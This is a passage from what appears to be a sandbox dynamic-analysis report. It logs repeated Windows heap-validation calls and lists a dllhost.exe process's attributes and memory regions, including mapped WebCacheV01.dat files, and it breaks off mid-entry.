GetProcessHeap () returned 0x46b0000 [0172.172] GetProcessHeap () returned 0x46b0000 [0172.172] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b26a0) returned 1 [0172.172] GetProcessHeap () returned 0x46b0000 [0172.172] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b26a0) returned 0x30 [0172.172] GetProcessHeap () returned 0x46b0000 [0172.172] GetProcessHeap () returned 0x46b0000 [0172.172] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9478) returned 1 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9478) returned 0x14 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b90c8) returned 1 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b90c8) returned 0x30 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9498) returned 1 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9498) returned 0x14 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46baee0) returned 1 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46baee0) returned 0xe [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9698) returned 1 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9698) returned 0x14 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.173] GetProcessHeap () returned 0x46b0000 [0172.174] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9538) returned 1 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9538) returned 0x16 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9718) returned 1 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9718) returned 0x14 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b96b8) returned 1 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b96b8) returned 0x16 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9738) returned 1 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9738) returned 0x14 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46c9f80) returned 1 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46c9f80) returned 0x82 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b96f8) returned 1 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b96f8) returned 0x14 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.174] GetProcessHeap () returned 0x46b0000 [0172.175] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46bac88) returned 1 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46bac88) returned 0xe [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b94b8) returned 1 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b94b8) returned 0x14 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46bad18) returned 1 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46bad18) returned 0xa [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9798) returned 1 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9798) returned 0x14 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46bac58) returned 1 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46bac58) returned 0xc [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b94d8) returned 1 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b94d8) returned 0x14 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.175] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b74f0) returned 1 [0172.175] GetProcessHeap () returned 0x46b0000 [0172.176] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b74f0) returned 0x10 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6970) returned 1 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6970) returned 0x14 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6990) returned 1 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6990) returned 0x14 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b69b0) returned 1 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b69b0) returned 0x14 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6708) returned 1 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6708) returned 0x14 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b7538) returned 1 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b7538) returned 0x10 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] GetProcessHeap () returned 0x46b0000 [0172.176] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6728) returned 1 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6728) returned 0x14 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b28b8) returned 1 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b28b8) returned 0x14 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b97f8) returned 1 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b97f8) returned 0x14 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9658) returned 1 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9658) returned 0x14 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b95f8) returned 1 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b95f8) returned 0x14 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b75c8) returned 1 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b75c8) returned 0x10 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.177] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b28d8) returned 1 [0172.177] GetProcessHeap () returned 0x46b0000 [0172.178] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b28d8) returned 0x14 [0172.178] GetProcessHeap () returned 0x46b0000 [0172.178] GetProcessHeap () returned 0x46b0000 [0172.178] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b7520) returned 1 [0172.178] GetProcessHeap () returned 0x46b0000 [0172.178] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b7520) returned 0x10 [0172.178] exit (_Code=0) Thread: id = 341 os_tid = 0x1300 Process: id = "79" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x2172a000" os_pid = "0x99c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x274" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2336 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2337 start_va = 0xa8ce680000 end_va = 0xa8ce77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a8ce680000" filename = "" Region: id = 2338 start_va = 0xa8ce800000 end_va = 0xa8ce9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a8ce800000" filename = "" Region: id = 2339 start_va = 0xa8cee00000 end_va = 0xa8ceefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a8cee00000" filename = "" Region: id = 2340 start_va = 0xa8cf000000 end_va = 0xa8cf0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a8cf000000" filename = "" Region: id = 2341 start_va = 0xa8cf100000 end_va = 0xa8cf1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a8cf100000" filename = "" Region: id = 2342 start_va = 0xa8cf200000 end_va = 0xa8cf2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a8cf200000" filename = "" Region: id = 2343 start_va = 0xa8cf300000 end_va = 0xa8cf3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a8cf300000" filename = "" Region: id = 2344 start_va = 0x1cd529b0000 end_va = 0x1cd529bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd529b0000" filename = "" Region: id = 2345 start_va = 0x1cd529c0000 end_va = 0x1cd529c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd529c0000" filename = "" Region: id = 2346 start_va = 0x1cd529d0000 end_va = 0x1cd529e4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd529d0000" filename = "" Region: id = 2347 start_va = 0x1cd529f0000 end_va = 0x1cd529f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd529f0000" filename = "" Region: id = 2348 start_va = 0x1cd52a00000 end_va = 0x1cd52a01fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52a00000" filename = "" Region: id = 2349 start_va = 0x1cd52a10000 end_va = 0x1cd52acdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2350 start_va = 0x1cd52ad0000 end_va = 0x1cd52ad0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52ad0000" filename = "" Region: id = 2351 start_va = 0x1cd52ae0000 end_va = 0x1cd52ae6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52ae0000" filename = "" Region: id = 2352 start_va = 0x1cd52af0000 end_va = 0x1cd52af0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52af0000" filename = "" Region: id = 2353 start_va = 0x1cd52b00000 end_va = 0x1cd52b00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52b00000" filename = "" Region: id = 2354 start_va = 0x1cd52b10000 end_va = 0x1cd52b10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52b10000" filename = "" Region: id = 2355 start_va = 0x1cd52b20000 end_va = 0x1cd52b20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52b20000" filename = "" Region: id = 2356 start_va = 0x1cd52b30000 end_va = 0x1cd52b30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52b30000" filename = "" Region: id = 2357 start_va = 0x1cd52b40000 end_va = 0x1cd52b40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52b40000" filename = "" Region: id = 2358 start_va = 0x1cd52b50000 end_va = 0x1cd52b5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52b50000" filename = "" Region: id = 2359 start_va = 0x1cd52b60000 end_va = 0x1cd52b6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52b60000" filename = "" Region: id = 2360 start_va = 0x1cd52b70000 end_va = 0x1cd52b7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52b70000" filename = "" Region: id = 2361 start_va = 0x1cd52b80000 end_va = 0x1cd52b8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52b80000" filename = "" Region: id = 2362 start_va = 0x1cd52b90000 end_va = 0x1cd52b9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52b90000" filename = "" Region: id = 2363 start_va = 0x1cd52ba0000 end_va = 0x1cd52baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52ba0000" filename = "" Region: id = 2364 start_va = 0x1cd52bb0000 end_va = 0x1cd52bb7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52bb0000" filename = "" Region: id = 2365 start_va = 0x1cd52bc0000 end_va = 0x1cd52bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52bc0000" filename = "" Region: id = 2366 start_va = 0x1cd52bd0000 end_va = 0x1cd52bd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52bd0000" filename = "" Region: id = 2367 start_va = 0x1cd52be0000 end_va = 0x1cd52cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52be0000" filename = "" Region: id = 2368 start_va = 0x1cd52ce0000 end_va = 0x1cd52ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52ce0000" filename = "" Region: id = 2369 start_va = 0x1cd52de0000 end_va = 0x1cd52deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52de0000" filename = "" Region: id = 2370 start_va = 0x1cd52df0000 end_va = 0x1cd52dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52df0000" filename = "" Region: id = 2371 start_va = 0x1cd52e00000 end_va = 0x1cd52e0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52e00000" filename = "" Region: id = 2372 start_va = 0x1cd52e10000 end_va = 0x1cd52e1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52e10000" filename = "" Region: id = 2373 start_va = 0x1cd52e20000 end_va = 0x1cd52e2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52e20000" filename = "" Region: id = 2374 start_va = 0x1cd52e30000 end_va = 0x1cd52e3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52e30000" filename = "" Region: id = 2375 start_va = 0x1cd52e40000 end_va = 0x1cd52e40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52e40000" filename = "" Region: id = 2376 start_va = 0x1cd52e50000 end_va = 0x1cd52e53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52e50000" filename = "" Region: id = 2377 start_va = 0x1cd52e60000 end_va = 0x1cd52e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd52e60000" filename = "" Region: id = 2378 start_va = 0x1cd52e70000 end_va = 0x1cd52ff7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd52e70000" filename = "" Region: id = 2379 start_va = 0x1cd53000000 end_va = 0x1cd53180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd53000000" filename = "" Region: id = 2380 start_va = 0x1cd53190000 end_va = 0x1cd5458ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd53190000" filename = "" Region: id = 2381 start_va = 0x1cd54590000 end_va = 0x1cd548c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2382 start_va = 0x1cd548d0000 end_va = 0x1cd558cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd548d0000" filename = "" Region: id = 2383 start_va = 0x1cd558d0000 end_va = 0x1cd558d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd558d0000" filename = "" Region: id = 2384 start_va = 0x1cd558e0000 end_va = 0x1cd558e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd558e0000" filename = "" Region: id = 2385 start_va = 0x1cd558f0000 end_va = 0x1cd5597ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd558f0000" filename = "" Region: id = 2386 start_va = 0x1cd55980000 end_va = 0x1cd55987fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55980000" filename = "" Region: id = 2387 start_va = 0x1cd55990000 end_va = 0x1cd55991fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55990000" filename = "" Region: id = 2388 start_va = 0x1cd559a0000 end_va = 0x1cd55a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd559a0000" filename = "" Region: id = 2389 start_va = 0x1cd55aa0000 end_va = 0x1cd55aaffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2390 start_va = 0x1cd55ab0000 end_va = 0x1cd55abffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2391 start_va = 0x1cd55ac0000 end_va = 0x1cd55acffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2392 start_va = 0x1cd55ad0000 end_va = 0x1cd55adffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2393 start_va = 0x1cd55ae0000 end_va = 0x1cd55aeffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2394 start_va = 0x1cd55af0000 end_va = 0x1cd55afffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2395 start_va = 0x1cd55b00000 end_va = 0x1cd55b0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2396 start_va = 0x1cd55b10000 end_va = 0x1cd55b1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2397 start_va = 0x1cd55b20000 end_va = 0x1cd55b2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2398 start_va = 0x1cd55b30000 end_va = 0x1cd55b3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2399 start_va = 0x1cd55b40000 end_va = 0x1cd55b4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2400 start_va = 0x1cd55b50000 end_va = 0x1cd55b5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2401 start_va = 0x1cd55b60000 end_va = 0x1cd55b6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2402 start_va = 0x1cd55b70000 end_va = 0x1cd55b7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2403 start_va = 0x1cd55b80000 end_va = 0x1cd55b8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2404 start_va = 0x1cd55b90000 end_va = 0x1cd55b9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2405 start_va = 0x1cd55ba0000 end_va = 0x1cd55ba7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55ba0000" filename = "" Region: id = 2406 start_va = 0x1cd55bb0000 end_va = 0x1cd55bbffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2407 start_va = 0x1cd55bc0000 end_va = 0x1cd55bcffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2408 start_va = 0x1cd55bd0000 end_va = 0x1cd55bdffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: 